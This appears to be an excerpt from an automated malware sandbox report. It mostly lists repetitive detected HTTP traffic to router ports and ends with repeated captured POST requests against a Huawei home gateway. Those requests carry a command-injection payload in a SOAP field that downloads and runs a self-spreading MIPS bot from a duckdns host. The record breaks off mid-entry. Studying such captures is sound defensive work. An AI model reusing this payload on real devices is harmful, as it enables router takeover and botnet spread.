| Source: unknown | Network traffic detected: HTTP traffic on port 42312 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 7547 -> 42312 |
| Source: unknown | Network traffic detected: HTTP traffic on port 34740 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36222 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 49898 -> 60001 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45646 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 47062 -> 60001 |
| Source: unknown | Network traffic detected: HTTP traffic on port 34076 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 47062 -> 60001 |
| Source: unknown | Network traffic detected: HTTP traffic on port 57952 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 7547 -> 57952 |
| Source: unknown | Network traffic detected: HTTP traffic on port 56148 -> 60001 |
| Source: unknown | Network traffic detected: HTTP traffic on port 47062 -> 60001 |
| Source: unknown | Network traffic detected: HTTP traffic on port 56148 -> 60001 |
| Source: unknown | Network traffic detected: HTTP traffic on port 47062 -> 60001 |
| Source: unknown | Network traffic detected: HTTP traffic on port 56148 -> 60001 |
| Source: unknown | Network traffic detected: HTTP traffic on port 47062 -> 60001 |
| Source: unknown | Network traffic detected: HTTP traffic on port 47912 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 7547 -> 47912 |
| Source: unknown | Network traffic detected: HTTP traffic on port 59232 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 54218 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 7547 -> 47926 |
| Source: unknown | Network traffic detected: HTTP traffic on port 56148 -> 60001 |
| Source: unknown | Network traffic detected: HTTP traffic on port 47512 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 7547 -> 47512 |
| Source: unknown | Network traffic detected: HTTP traffic on port 47062 -> 60001 |
| Source: unknown | Network traffic detected: HTTP traffic on port 44794 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 44794 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 58220 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 56278 -> 60001 |
| Source: unknown | Network traffic detected: HTTP traffic on port 58220 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 44794 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 56148 -> 60001 |
| Source: unknown | Network traffic detected: HTTP traffic on port 58220 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 44884 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 44890 |
| Source: unknown | Network traffic detected: HTTP traffic on port 44794 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 44896 |
| Source: unknown | Network traffic detected: HTTP traffic on port 47352 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 39224 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 47352 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 44902 |
| Source: unknown | Network traffic detected: HTTP traffic on port 7547 -> 39224 |
| Source: unknown | Network traffic detected: HTTP traffic on port 7547 -> 39230 |
| Source: unknown | Network traffic detected: HTTP traffic on port 58220 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 44924 |
| Source: unknown | Network traffic detected: HTTP traffic on port 47352 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 44936 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 44940 |
| Source: unknown | Network traffic detected: HTTP traffic on port 47352 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 44944 |
| Source: unknown | Network traffic detected: HTTP traffic on port 43362 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 44950 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 44974 |
| Source: unknown | Network traffic detected: HTTP traffic on port 44794 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 47352 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 58220 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 47062 -> 60001 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37278 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 7547 -> 37278 |
| Source: unknown | Network traffic detected: HTTP traffic on port 32910 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 7547 -> 37284 |
| Source: unknown | Network traffic detected: HTTP traffic on port 47352 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37482 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 7547 -> 37482 |
| Source: unknown | Network traffic detected: HTTP traffic on port 56148 -> 60001 |
| Source: unknown | Network traffic detected: HTTP traffic on port 44794 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 58220 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42616 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42616 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42616 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42616 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 56926 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 47352 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 47906 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36434 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42616 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 54950 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45250 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42616 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 47062 -> 60001 |
| Source: unknown | Network traffic detected: HTTP traffic on port 44794 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45250 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 58220 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36096 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36096 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36096 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36096 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 56148 -> 60001 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42616 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45250 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 47352 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36096 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 55290 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45040 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 59386 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 7547 -> 59386 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45040 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36096 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45040 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45040 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33460 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45040 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35158 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35158 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35158 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45250 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36096 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45040 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 49920 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 34216 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35158 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 7547 -> 49920 |
| Source: unknown | Network traffic detected: HTTP traffic on port 7547 -> 34216 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35158 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 41828 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 59052 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 7547 -> 59052 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 45760 |
| Source: unknown | Network traffic detected: HTTP traffic on port 48974 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 45770 |
| Source: unknown | Network traffic detected: HTTP traffic on port 52186 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 45776 |
| Source: unknown | Network traffic detected: HTTP traffic on port 48974 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 46870 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 46878 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 46884 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 46886 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 46892 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42616 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 44794 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 58220 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 46894 |
| Source: unknown | Network traffic detected: HTTP traffic on port 48974 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 46902 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45040 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 47062 -> 60001 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35158 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37202 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 54870 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 56110 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 7547 -> 56110 |
| Source: unknown | Network traffic detected: HTTP traffic on port 7547 -> 54870 |
| Source: unknown | Network traffic detected: HTTP traffic on port 7547 -> 54870 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40346 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37066 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 7547 -> 55982 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40480 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37066 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36096 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37066 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 49096 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42490 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 47352 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42490 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37066 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42490 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36742 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40868 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42490 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35158 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 34718 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 56148 -> 60001 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45250 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 34718 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37066 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45040 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 34718 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35176 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 39586 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40906 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42490 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 7547 -> 35176 |
| Source: unknown | Network traffic detected: HTTP traffic on port 7547 -> 39586 |
| Source: unknown | Network traffic detected: HTTP traffic on port 7547 -> 40684 |
| Source: unknown | Network traffic detected: HTTP traffic on port 34718 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 44690 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 34718 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37066 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42574 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42574 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36214 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37215 -> 36214 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42574 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36096 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42490 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42574 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42616 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 56038 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 48260 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 56038 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 56038 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 56038 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 57364 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 7547 -> 57364 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42574 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 56038 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 34718 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35158 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 46348 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 53466 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 7547 -> 53466 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45410 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45410 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45410 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45410 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 56038 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36374 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 51612 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 58900 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 58674 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45410 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42574 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35038 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 34626 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 7547 -> 35038 |
| Source: unknown | Network traffic detected: HTTP traffic on port 58220 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 7547 -> 34626 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45040 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 52500 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37022 -> 60001 |
| Source: unknown | Network traffic detected: HTTP traffic on port 52500 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 52500 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 52500 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 56038 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45410 -> 7547 |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" 